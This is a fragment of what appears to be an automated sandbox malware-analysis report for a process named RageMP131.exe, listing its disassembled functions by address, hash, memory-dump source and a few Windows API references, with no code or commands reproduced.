Source File: 00000009.00000002.2568548499.000000000A160000.00000040.00001000.00020000.00000000.sdmp, Offset: 0A160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a160000_8bcaec3fef.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c73d7982e9cf2202e8ba3a265dd13a5b88c90d14d23a5eaf8b760f431009b269
Instruction ID: 5d81dfb2f8d60ba77f34b1af078a2d52193a5e086bed1e6198c8640d4e707146
Opcode Fuzzy Hash: c73d7982e9cf2202e8ba3a265dd13a5b88c90d14d23a5eaf8b760f431009b269
Instruction Fuzzy Hash: F351F4EB20C161BDB23AC4412F14EFB677EE2C67707368726F80BC7642E3940AA95130

Function 0A161972 Relevance: .3, Instructions: 258COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2568548499.000000000A160000.00000040.00001000.00020000.00000000.sdmp, Offset: 0A160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a160000_8bcaec3fef.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1674811c4402650f598e527dfb4d08c951e7b06aec240040acbe934494ae8b8d
Instruction ID: f41958c4a50728aebf0b849ffff08201f747eb32b4cad59d08847b5f973cdf4b
Opcode Fuzzy Hash: 1674811c4402650f598e527dfb4d08c951e7b06aec240040acbe934494ae8b8d
Instruction Fuzzy Hash: 1851F2EB20C161BDB27AC4452F14EFB577EE2C67707368726F80BC7642E3940AA96130

Function 0A1609B5 Relevance: .3, Instructions: 257COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2568548499.000000000A160000.00000040.00001000.00020000.00000000.sdmp, Offset: 0A160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a160000_8bcaec3fef.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d75153d471a7fe80c214db0bd0db7d63fa33e6fb61c34c1cc0e0200fdf5cf8c
Instruction ID: e0f2e7a887ed333f7bbf73fabd3459fbc33079294d74b54761ac45e7bab0f4bd
Opcode Fuzzy Hash: 7d75153d471a7fe80c214db0bd0db7d63fa33e6fb61c34c1cc0e0200fdf5cf8c
Instruction Fuzzy Hash: F851E0EF18D121BDB26A85452B54AFB6B2EE2CF770332C466F40BC6602E3D44E6A5131

Function 0A161A00 Relevance: .3, Instructions: 253COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2568548499.000000000A160000.00000040.00001000.00020000.00000000.sdmp, Offset: 0A160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a160000_8bcaec3fef.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3799447ae1551d52efd458463ff4871d21294e51a449b8c86d41ad98e96da10f
Instruction ID: de4612774cbf08da60711175b3f99ec0d920e932566b87b406c282f6b7e43333
Opcode Fuzzy Hash: 3799447ae1551d52efd458463ff4871d21294e51a449b8c86d41ad98e96da10f
Instruction Fuzzy Hash: C35126EB14C161BDB27AC5552F14EFB6B7DE2C67707368726F80BC7501E3940AAA5130

Function 0A1619A9 Relevance: .2, Instructions: 247COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2568548499.000000000A160000.00000040.00001000.00020000.00000000.sdmp, Offset: 0A160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a160000_8bcaec3fef.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a6b0ae328755ed908d3b5eac4c3cf61a093d9daba6fa15a8f6506671b16bfbb
Instruction ID: a9e7dbd5f9797c0aac4d6e4314710ed9c8dd93bccdb4474460c7e53a8e1a48af
Opcode Fuzzy Hash: 6a6b0ae328755ed908d3b5eac4c3cf61a093d9daba6fa15a8f6506671b16bfbb
Instruction Fuzzy Hash: 875103EB10C161BDB23AC5452F14EFB677EE2C67707368726F80BC3642E3940AA95130

Function 0A160A0A Relevance: .2, Instructions: 245COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2568548499.000000000A160000.00000040.00001000.00020000.00000000.sdmp, Offset: 0A160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a160000_8bcaec3fef.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c1362551fb7e3ba5474c0f22f3a22c2960639bd90ce0121de92e094071cac58
Instruction ID: 39b750d451f94173dfaf848142b5ea1a704c594fc0abae3538e5028a2e6def92
Opcode Fuzzy Hash: 0c1362551fb7e3ba5474c0f22f3a22c2960639bd90ce0121de92e094071cac58
Instruction Fuzzy Hash: 3241E1EF14D121BDB16A85452F54AFA6B2EE2CE7B0732C466F40BCA602E3D44F6A5131

Function 0A1619D1 Relevance: .2, Instructions: 243COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2568548499.000000000A160000.00000040.00001000.00020000.00000000.sdmp, Offset: 0A160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a160000_8bcaec3fef.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34dfd1edfaddbed9f6cc81811ba367daea94734b57917868fbf79ddf40ebc713
Instruction ID: ca8d2c38dde0ab964ac7d81beee805359b85c022b14d9ff323ae6ea096e32a97
Opcode Fuzzy Hash: 34dfd1edfaddbed9f6cc81811ba367daea94734b57917868fbf79ddf40ebc713
Instruction Fuzzy Hash: 0141D0EB10C161BDB22AC5556F14EFB677EE2C67707328726F80BC3646E3940AAA5130

Function 0A1609F3 Relevance: .2, Instructions: 242COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2568548499.000000000A160000.00000040.00001000.00020000.00000000.sdmp, Offset: 0A160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a160000_8bcaec3fef.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c429b10793aa3752873febeb7f1c827871bbdd64a702670568d59022ae2d8d7c
Instruction ID: b8e84bcafbd62ff4770b11666a4f7e7cbb69661fff1fa5db02edcc5181e33d4a
Opcode Fuzzy Hash: c429b10793aa3752873febeb7f1c827871bbdd64a702670568d59022ae2d8d7c
Instruction Fuzzy Hash: 9741F0EF18D121BDB17A85452F54AFA6B2EE2CE7B0332C466F40BC6602E3D44E6A5131

Function 00427A4A Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2559987207.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2559914416.0000000000400000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2559987207.00000000004C2000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2559987207.00000000004CC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2560249205.00000000004D4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2560316369.000000000051C000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2560316369.00000000006A3000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2560316369.0000000000774000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2560316369.00000000007AD000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2560316369.00000000007B5000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2560316369.00000000007C3000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2561062884.00000000007C4000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2561242126.0000000000959000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2561284789.000000000095A000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2561329898.0000000000960000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2561369810.0000000000961000.00000080.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_8bcaec3fef.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cfc99caef6fcf3a1232713fd42500ccdf6fc43273da94df47a7739a65c3388a
Instruction ID: 84ac85275a216eff532c1add87baca4d75615409e8ba58ee8a571bdc319d84d4
Opcode Fuzzy Hash: 2cfc99caef6fcf3a1232713fd42500ccdf6fc43273da94df47a7739a65c3388a
Instruction Fuzzy Hash: C761467130873596DA349929B895BBF3794DF41318FD0091FE842DB382DA1DAE42871E

Function 00427CA7 Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2559987207.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2559914416.0000000000400000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2559987207.00000000004C2000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2559987207.00000000004CC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2560249205.00000000004D4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2560316369.000000000051C000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2560316369.00000000006A3000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2560316369.0000000000774000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2560316369.00000000007AD000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2560316369.00000000007B5000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2560316369.00000000007C3000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2561062884.00000000007C4000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2561242126.0000000000959000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2561284789.000000000095A000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2561329898.0000000000960000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2561369810.0000000000961000.00000080.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_8bcaec3fef.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 335cfa9026358501cc6cd1356f553921e6292aa44130cf3439bc3ec1ecf51658
Instruction ID: b3d8b0dcfa79c3ad95e7fbebb9004bf79f267a435944c7c6c5ebb73a9dbd94fe
Opcode Fuzzy Hash: 335cfa9026358501cc6cd1356f553921e6292aa44130cf3439bc3ec1ecf51658
Instruction Fuzzy Hash: A661897531873967DE384A287891BBF2384EF42744FD0095FE943DB381DA5EAD42826E

Function 0A1619A3 Relevance: .2, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2568548499.000000000A160000.00000040.00001000.00020000.00000000.sdmp, Offset: 0A160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a160000_8bcaec3fef.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b45e4cec72b1ad82dd8fb155170df90ad06053ab033bebed64bb4cd29dac9a99
Instruction ID: 5fac6393970df317cd54c8fe9e95d700104b6a25afcc50a5f876676fbf3cb2be
Opcode Fuzzy Hash: b45e4cec72b1ad82dd8fb155170df90ad06053ab033bebed64bb4cd29dac9a99
Instruction Fuzzy Hash: F941E2EB10C161BDB27AC5456F14EFB677EE2C67707328726F80BC3645E3940AA95131

Function 0A1619E7 Relevance: .2, Instructions: 235COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2568548499.000000000A160000.00000040.00001000.00020000.00000000.sdmp, Offset: 0A160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a160000_8bcaec3fef.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a1c81e17c9018a9819feb203dfd9088eddf02c429c1c223db42ca99493b7022
Instruction ID: bc5d65b08803139ad65ddb2f304011043ef21dafa82332314ed26aab99fbba18
Opcode Fuzzy Hash: 7a1c81e17c9018a9819feb203dfd9088eddf02c429c1c223db42ca99493b7022
Instruction Fuzzy Hash: B141E1EB20C161BDB27AC5452F14EFB677EE2C67707328726F80BC7646E3940AA95131

Function 0A160A64 Relevance: .2, Instructions: 234COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2568548499.000000000A160000.00000040.00001000.00020000.00000000.sdmp, Offset: 0A160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a160000_8bcaec3fef.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: efe951029ee1a929a4648b926ba3b5306037b721aaf800b3f4e91dbe8831ebfb
Instruction ID: 1d156793672cfb92e3aa2013313189ab27399a4d029f3948c185f3cf9501a920
Opcode Fuzzy Hash: efe951029ee1a929a4648b926ba3b5306037b721aaf800b3f4e91dbe8831ebfb
Instruction Fuzzy Hash: 8E41F2EF14D121BCA17A85452F54AFA6B2EE2CE7B0333C466F40BC6606E3D44FAA5131

Function 0A160A43 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2568548499.000000000A160000.00000040.00001000.00020000.00000000.sdmp, Offset: 0A160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a160000_8bcaec3fef.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1e9043526ad6244a776712893dfdce87a15c53340b0859786869d41040345fd
Instruction ID: f310d64534a89c971d817a2fd3353111489a38b916da004a143ae504dbf91ab2
Opcode Fuzzy Hash: e1e9043526ad6244a776712893dfdce87a15c53340b0859786869d41040345fd
Instruction Fuzzy Hash: 3A4102EF18D121BDA17A85452B54AF66B2EE2CE7B0732C562F40BC6602E3D44F6A1131

Function 0A161A69 Relevance: .2, Instructions: 215COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2568548499.000000000A160000.00000040.00001000.00020000.00000000.sdmp, Offset: 0A160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a160000_8bcaec3fef.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab67c291c381f8968f4afaf843d4c56c4b7bd09fd29818598196672f267977f2
Instruction ID: 975dca0a912c31c28bf786f4d17f285a41d845649c961b02317f93581fe85e47
Opcode Fuzzy Hash: ab67c291c381f8968f4afaf843d4c56c4b7bd09fd29818598196672f267977f2
Instruction Fuzzy Hash: 484156EB10C161BDB23AC5555F18AFB6B7DE3C23707368726F40BC3242E3940AA95270

Function 0A161A2B Relevance: .2, Instructions: 203COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2568548499.000000000A160000.00000040.00001000.00020000.00000000.sdmp, Offset: 0A160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a160000_8bcaec3fef.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b70db292d8d468a4c9f1a0a50abc8a64a39a36abdf68d05becdc46bd3923fa82
Instruction ID: ef769d0c00138454400db25275676451219d8055e6905d6a97c4b8a6a2a8eff5
Opcode Fuzzy Hash: b70db292d8d468a4c9f1a0a50abc8a64a39a36abdf68d05becdc46bd3923fa82
Instruction Fuzzy Hash: A34145EB10C161BDB27AC5551F14AFA2B7EE3C67707328726F80BC3641E3940AA95230

Function 0A161A3A Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2568548499.000000000A160000.00000040.00001000.00020000.00000000.sdmp, Offset: 0A160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a160000_8bcaec3fef.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74d2a400e69c99e2db67c8c35578be070136f4e6f887bc1d3b6968dfb87d07ec
Instruction ID: f6ec40c5b71d6d980c2a945a8c467405cae5de3f51ab26f673404850746de3d9
Opcode Fuzzy Hash: 74d2a400e69c99e2db67c8c35578be070136f4e6f887bc1d3b6968dfb87d07ec
Instruction Fuzzy Hash: F94136EB10C161BDB27AC5455F18AFA2B7EE3C27707328726F80BC3241E3944AA95270

Function 0A160AA1 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2568548499.000000000A160000.00000040.00001000.00020000.00000000.sdmp, Offset: 0A160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a160000_8bcaec3fef.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1d196d4ccf243d3623c99b4d7a8a929b30cc101cccd03c7179520555c7882d7
Instruction ID: c98c83270220f5fd32bdd78fe0163621cce2018cf7519165ccb91126a26a71fd
Opcode Fuzzy Hash: b1d196d4ccf243d3623c99b4d7a8a929b30cc101cccd03c7179520555c7882d7
Instruction Fuzzy Hash: 974135EF18C121BDA27A85451B54AFA6B2EE2DF7B0333C526F40BC6602E3D44F6A5130

Function 0A160A88 Relevance: .2, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2568548499.000000000A160000.00000040.00001000.00020000.00000000.sdmp, Offset: 0A160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a160000_8bcaec3fef.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6293653e9d0f6af1321c0927d74f0dba31e69809d67df515ae6eb9e04d26fa4
Instruction ID: 577f5733e839bc937d4b247090b8619f8ff205fccf589879551813ead2470240
Opcode Fuzzy Hash: f6293653e9d0f6af1321c0927d74f0dba31e69809d67df515ae6eb9e04d26fa4
Instruction Fuzzy Hash: 9F4124EF18D121BDA17A85452F54AFA6B2EE2CE7B0333C562F40BD6602E3D44F6A5130

Function 0A160ACF Relevance: .2, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2568548499.000000000A160000.00000040.00001000.00020000.00000000.sdmp, Offset: 0A160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a160000_8bcaec3fef.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a61142413de4b33753cb2ddcc02e2fb0e56ae56e56338dc35957d791ffdacb12
Instruction ID: c8f883b8d672dff616ac0595cc04f75f8cb136fbbdfa33b74588ef94da43e681
Opcode Fuzzy Hash: a61142413de4b33753cb2ddcc02e2fb0e56ae56e56338dc35957d791ffdacb12
Instruction Fuzzy Hash: 213103EF18C121BCA17A85451B54EF66B2EE2DF7B0733C562F40BC6602E3D44B6A5530

Function 0A160B07 Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2568548499.000000000A160000.00000040.00001000.00020000.00000000.sdmp, Offset: 0A160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a160000_8bcaec3fef.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0074f9c65ac2496aaba06d928d85db1950bc2b52be19385d403003211e7d0aa
Instruction ID: cd2b1212ad33aad7495a7bfdfe41703b863523cfb3965b7f0594ba26811d479a
Opcode Fuzzy Hash: b0074f9c65ac2496aaba06d928d85db1950bc2b52be19385d403003211e7d0aa
Instruction Fuzzy Hash: 083166EF14C121BDA23A85411B54AF66F2EE2CE770733C562F40BCA542E3D04E694130

Function 0A160B75 Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2568548499.000000000A160000.00000040.00001000.00020000.00000000.sdmp, Offset: 0A160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a160000_8bcaec3fef.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc3cdae48d0d84f64d65fa3643854ea5616a405ed3da38f42a440f8146878e41
Instruction ID: 2d395edb3c90aca877065ba854f98ed6a6d1464f82df947ded48e727dc7c475c
Opcode Fuzzy Hash: dc3cdae48d0d84f64d65fa3643854ea5616a405ed3da38f42a440f8146878e41
Instruction Fuzzy Hash: 483104EF18D021BCA17A85451F54AF65B2EE2DEBB0733C562F40BD6602E3D44F6A5430

Function 00433E80 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 305COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00433F0B
__alldvrm.LIBCMT ref: 0043410C
__alldvrm.LIBCMT ref: 0043412E

Strings

}}B, xrefs: 00433E96, 00433EF1, 00433F0A, 00434090
}}B, xrefs: 004340CD
}}B, xrefs: 00433E8A

Memory Dump Source

Source File: 00000009.00000002.2559987207.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2559914416.0000000000400000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2559987207.00000000004C2000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2559987207.00000000004CC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2560249205.00000000004D4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2560316369.000000000051C000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2560316369.00000000006A3000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2560316369.0000000000774000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2560316369.00000000007AD000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2560316369.00000000007B5000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2560316369.00000000007C3000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2561062884.00000000007C4000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2561242126.0000000000959000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2561284789.000000000095A000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2561329898.0000000000960000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2561369810.0000000000961000.00000080.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_8bcaec3fef.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID: }}B$}}B$}}B
API String ID: 1036877536-3117721517
Opcode ID: fd864005521c6305950ac1f5016995c4421981eabd5fcc60822e5dc4ba38796b
Instruction ID: d4f79936405fa228530589165a8ec21e20da15dfb5630b7fb9a056e36bf5573a
Opcode Fuzzy Hash: fd864005521c6305950ac1f5016995c4421981eabd5fcc60822e5dc4ba38796b
Instruction Fuzzy Hash: 52A15571E006869FEB15CE28C8817EEBBF4EFA9354F14416FE5859B381C23CA981C758

Analysis Process: RageMP131.exePID: 8896, Parent PID: 1028COMMON

Execution Graph

Execution Coverage:	20.2%
Dynamic/Decrypted Code Coverage:	5.6%
Signature Coverage:	1.8%
Total number of Nodes:	2000
Total number of Limit Nodes:	109

Executed Functions

Function 053B0000 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 347COMMON

Download Yara Rule

Strings

d:r?, xrefs: 053B002E

Memory Dump Source

Source File: 0000001B.00000002.6962260154.00000000053B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_53b0000_RageMP131.jbxd

Similarity

API ID: CurrentProfile
String ID: d:r?
API String ID: 2104809126-395569479
Opcode ID: 504fcd010b1d3d816fbb3c048a81e28ba6af6cde8aba2973bc1c4d46edef41f8
Instruction ID: e508c9c0115440a5bee3acb107d1e2b62bc34eed2ca5d5c34afbdcd66a283987
Opcode Fuzzy Hash: 504fcd010b1d3d816fbb3c048a81e28ba6af6cde8aba2973bc1c4d46edef41f8
Instruction Fuzzy Hash: 0761C2EB20C110BDB24AC1952F6CEFB676FE6D6730730842AFA0BD5D02E6D44A8A1431

Function 053B001B Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 345COMMON

Download Yara Rule

Strings

d:r?, xrefs: 053B002E

Memory Dump Source

Source File: 0000001B.00000002.6962260154.00000000053B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_53b0000_RageMP131.jbxd

Similarity

API ID: CurrentProfile
String ID: d:r?
API String ID: 2104809126-395569479
Opcode ID: 2209f020c3c66088d5623210001daa9431c78049b46ab048e0acf48f8e5535ac
Instruction ID: 091912224d79655f06bc56eac84c712ecc308514dcda9e3f6fab991827e276e9
Opcode Fuzzy Hash: 2209f020c3c66088d5623210001daa9431c78049b46ab048e0acf48f8e5535ac
Instruction Fuzzy Hash: 9F61C4EB24C111BDB60AC1952F6CEFB676FE6C6730730C52AFA0BD5D02E6D44A4A1531

Function 053B003E Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 344COMMON

Download Yara Rule

APIs

GetCurrentHwProfileW.ADVAPI32 ref: 053B01D4

Strings

d:r?, xrefs: 053B002E

Memory Dump Source

Source File: 0000001B.00000002.6962260154.00000000053B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_53b0000_RageMP131.jbxd

Similarity

API ID: CurrentProfile
String ID: d:r?
API String ID: 2104809126-395569479
Opcode ID: e61ef2fd99929b4563327823fbb54e1c5d662b5405ee6d7bdd73effd53d84b9f
Instruction ID: 401ae7aa3e8e70a308086fc6480f9bb5d857f8fe6cb3352b5499317a6a82b9e8
Opcode Fuzzy Hash: e61ef2fd99929b4563327823fbb54e1c5d662b5405ee6d7bdd73effd53d84b9f
Instruction Fuzzy Hash: 2561B2FB24C211BDB60AC1952B6CAFB676FE6C6730730842AFA07D5D02E6D44A4A1531

Function 05330EFB Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

GetPrivateProfileStringA.KERNEL32(?,?,?,?,?), ref: 05330F6D

Strings

ZXPP, xrefs: 05330F0E

Memory Dump Source

Source File: 0000001B.00000002.6962036498.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_5330000_RageMP131.jbxd

Similarity

API ID: PrivateProfileString
String ID: ZXPP
API String ID: 1096422788-915096434
Opcode ID: 418c784fe39d0af9cbb0d9a3d989aab7432aa452a3bd8e979c8ceb205e3470ae
Instruction ID: 5251e8c4335f98ec73b0cff180b83c4bb2c1b3c12fa9bab9395630e7a373cd89
Opcode Fuzzy Hash: 418c784fe39d0af9cbb0d9a3d989aab7432aa452a3bd8e979c8ceb205e3470ae
Instruction Fuzzy Hash: 0BF056DB14C2206DE259C156276B3F6975F77D77307304166B80792FC152D9075D5031

Function 05330251 Relevance: 2.0, APIs: 1, Instructions: 475COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.6962036498.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_5330000_RageMP131.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2c2ed96e775f0c44d9e0911b2b5a25b2aa12aa5f7cf8db928d31b8824796edb
Instruction ID: 63cd2a738abe873687268089ee4f7e940d43ab18dd708678df21cdb7cccc0818
Opcode Fuzzy Hash: e2c2ed96e775f0c44d9e0911b2b5a25b2aa12aa5f7cf8db928d31b8824796edb
Instruction Fuzzy Hash: 1291D2EB14C120BEF34AC1866B5EAFB6B6FE6D6730330853AF407D6D42E2980B495171

Function 05330272 Relevance: 2.0, APIs: 1, Instructions: 463COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.6962036498.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_5330000_RageMP131.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63a56cb48e9841a7917819869596adbef5231522ecad52a29da1a497558a7d8f
Instruction ID: 5a383afc23f5dd2bcd7708da38086aa9fd64512d015e638c695886f079289af5
Opcode Fuzzy Hash: 63a56cb48e9841a7917819869596adbef5231522ecad52a29da1a497558a7d8f
Instruction Fuzzy Hash: 6591E3EB14C120BEF34AC1866B5EAF76B6FE6D6330330853AF807D6D42E2984B495171

Function 05330290 Relevance: 2.0, APIs: 1, Instructions: 453COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.6962036498.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_5330000_RageMP131.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3b10f1791922343a9fb6518e3ffdcbfac6aa5fe8bee2f60209fe471435a3e1e
Instruction ID: 28f3c2fcbc9cbc839a78b145ba70759beeababd2d902292570b7fac5bb047672
Opcode Fuzzy Hash: d3b10f1791922343a9fb6518e3ffdcbfac6aa5fe8bee2f60209fe471435a3e1e
Instruction Fuzzy Hash: 1091D3EB14C120BDF34AC1866B5EAFB6B6FE6D67303308536F807D6D42E2984B495171

Function 053302B7 Relevance: 1.9, APIs: 1, Instructions: 446COMMON

Download Yara Rule

APIs

